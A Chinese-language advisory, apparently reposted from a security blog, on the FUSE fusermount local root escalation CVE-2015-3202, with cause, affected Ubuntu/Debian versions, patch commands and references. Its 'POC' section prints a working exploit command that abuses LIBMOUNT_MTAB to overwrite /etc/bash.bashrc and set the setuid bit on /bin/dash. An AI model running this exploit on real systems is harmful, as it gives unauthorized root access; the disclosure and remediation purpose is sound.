FUSE CVE-2015-3202本地root权限提升漏洞修复建议
0x01 前言
六一即将到来,ubuntu和debian确因为fusermount二进制调用变量不严谨导致曝出高危本地root权限提升漏洞.
该漏洞的产生原因是由于fusermount二进制调用setuid的(geteuid())重置RUID时,它调用/bin/mount才能使用的特权挂载选项, 通常限制如果RUID!= euid;这居然可以接受传递的参数,太可怕了.
在理论上,因为fusermount可以消除参数以确保它的安全。
正如代码中:
然而,由于它认为这是被root用户权限调用,它允许通过环境变量进入调试模式,不会管是否为安全的非特权用户和fusermount没有清除的。
因此,错误是环境变量不清除时调用RUID = 0方式。
可以通调试功能在/etc/mtab里设定LIBMOUNT_MTAB变量后,就可以
被滥用覆盖任意文件。
这次红帽子比较有出息,公开说明企业版是不受影响的.RHEL7中/etc/mtab不是一个普通的文件,而是链接到/proc/self/mtab下的,可以防止fusermount运行挂载和卸载(见mtab_needs_update()功能)。即使使用libmount支持调用libmount_mtab环境变量可以挂载的,它也不是由fusermount控制的,是使用类似于目前的Fedora版本。
而在RHEL5和6版本中,/etc/mtab 是一个正常文件,因此fusermount可以运行挂载和卸载命令。然而,在RHEL 6和更早系统版本中挂载和卸载不使用libmount(在RHEL 6,libmount是UTIL-linux的-NG包的一部分,但不是使用mount和umount命令;在RHEL5中,使用util-linux的包是不包含libmount库)。
而且RHEL 7虚拟机管理程序包含libguestfs-winsupport包,其中包括NTFS-3G。但是,NTFS-3G是不是安装为setuid root的,所以不存在权限提升的风险。。
0x02 影响版本范围
Ubuntu Ubuntu Linux 12.04 LTS i386
Ubuntu Ubuntu Linux 12.04 LTS amd64
Miklos Szeredi FUSE 2.4.1
Miklos Szeredi FUSE 2.2.1
+ Debian Linux 3.1 sparc
+ Debian Linux 3.1 s/390
+ Debian Linux 3.1 ppc
+ Debian Linux 3.1 mipsel
+ Debian Linux 3.1 mips
+ Debian Linux 3.1 m68k
+ Debian Linux 3.1 ia-64
+ Debian Linux 3.1 ia-32
+ Debian Linux 3.1 hppa
+ Debian Linux 3.1 arm
+ Debian Linux 3.1 amd64
+ Debian Linux 3.1 alpha
+ Debian Linux 3.1
Miklos Szeredi FUSE 2.2
Debian Linux 6.0 sparc
Debian Linux 6.0 s/390
Debian Linux 6.0 powerpc
Debian Linux 6.0 mips
Debian Linux 6.0 ia-64
Debian Linux 6.0 ia-32
Debian Linux 6.0 arm
Debian Linux 6.0 amd64
0x03 攻击POC演示
先以普通用户登录(没有sudo权限的)
执行攻击POC
#给/bin/dash加上s权限(当我们将一个程序文件执行成为进程的时候,该程序文件的拥有者(owner)和拥有组(owner group)可以被存储成为进程的存储身份。在随后进程的运行过程中,进程就将可以选择将真实身份或者存储身份复制到有效身份,以拥有真实身份或者存储身份的权限)
#通过设置LIBMOUNT_MTAB,mtab可以覆盖任意文件用来设置exp。
$ printf "chmod 4755 /bin/dash" > /tmp/exploit && chmod 755 /tmp/exploit $ mkdir -p '/tmp/exploit||/tmp/exploit' $ LIBMOUNT_MTAB=/etc/bash.bashrc _FUSE_COMMFD=0 fusermount '/tmp/exploit||/tmp/exploit'看到红色提示框内容标识修改成功,在看下/etc/bash.bashrc内容是否已经被替换成提权文件 想真正提权还是比较鸡肋的,需要su – root或是ssh登录 root一次,才可以真正提权成功(貌似这需要社工了?) 换个管理员账号su –到root去. 再切换到demo用户去执行/bin/dash看是否获得root权限了 如此root提权成功,可以自由畅游了. 0x04修复方案 Debian, Ubuntu等系列衍生版本:
$ sudo apt-get update $ sudo apt-get dist-upgradeOpenSuSE使用下面的命令:
zypper update0x06 参考来源 https://gist.github.com/taviso/ecb70eb12d461dd85cba https://www.suse.com/security/cve/CVE-2015-3202.html https://security-tracker.debian.org/tracker/CVE-2015-3202 https://access.redhat.com/security/cve/CVE-2015-3202 http://www.ubuntu.com/usn/usn-2617-2/
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 钓鱼台漫步和意悠长 4922210
- 2 小龙虾身价暴跌 4916530
- 3 儿子讲述父亲疑被当猎物枪杀 4832179
- 4 4.0版消博会 外资看中三个“新” 4768950
- 5 大姐先被五步蛇咬后被蜱虫叮险丧命 4640767
- 6 蒋勤勤摔了 4587422
- 7 出操死亡女生存在送鱼情况 4466116
- 8 多名“酒”网红去世:全都不满40岁 4318859
- 9 福州发生重大航空器事故系谣言 4211095
- 10 在菲中国公民被捕 中使馆回应 4189710